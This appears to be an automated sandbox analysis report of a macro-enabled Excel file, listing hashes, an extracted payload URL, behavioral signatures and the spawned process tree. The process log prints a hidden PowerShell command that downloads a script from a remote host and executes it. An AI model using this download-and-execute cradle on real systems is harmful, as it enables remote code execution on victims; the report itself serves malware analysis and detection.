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Analysis
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max time kernel
37s -
max time network
58s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
30/10/2022, 16:19
Static task
static1
Behavioral task
behavioral1
Sample
book-test.xlsm
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
book-test.xlsm
Resource
win10v2004-20220812-en
General
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Target
book-test.xlsm
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Size
13KB
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MD5
9ea38cbd4b972be01563192fb495614f
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SHA1
98edf0787a561c176a2a303064207ddd82b2965b
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SHA256
b4201061a4b9961d16e83c58207ac5087e2e46187c6dff64250731d45bb0b90c
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SHA512
463830b10d512e4fe0909c51e55005e21e660493a80cb87aa43e22cd30c08b2d3eb93743813e0d8d67b7d57f7036b3cf3de563ea8b64e30ef3cd8ff1723bc5dc
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SSDEEP
192:EtJWseqxGvThVkikaFUlbVvevUqzZSVtg/XKfS34Obx/eqd/611cqGGFuxTDa9:EtJ7yTkqUlM9z+fekqd/oNSG9
Malware Config
Extracted
http://192.168.233.129:80/sample-image.jpeg
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4200 4956 powershell.exe 83 -
Program crash 1 IoCs
pid pid_target Process procid_target 4792 3320 WerFault.exe 20 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4956 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4200 powershell.exe 4200 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4200 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4956 EXCEL.EXE 4956 EXCEL.EXE 4956 EXCEL.EXE 4956 EXCEL.EXE 4956 EXCEL.EXE 4956 EXCEL.EXE 4956 EXCEL.EXE 4956 EXCEL.EXE 4956 EXCEL.EXE 4956 EXCEL.EXE 4956 EXCEL.EXE 4956 EXCEL.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4956 wrote to memory of 4200 4956 EXCEL.EXE 89 PID 4956 wrote to memory of 4200 4956 EXCEL.EXE 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\book-test.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -c "$code=(New-Object System.Net.Webclient).DownloadString('http://192.168.233.129:80/sample-image.jpeg'); iex 'powershell -E $code'"2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4200
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 460 -p 3320 -ip 33201⤵PID:4324
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3320 -s 4881⤵
- Program crash
PID:4792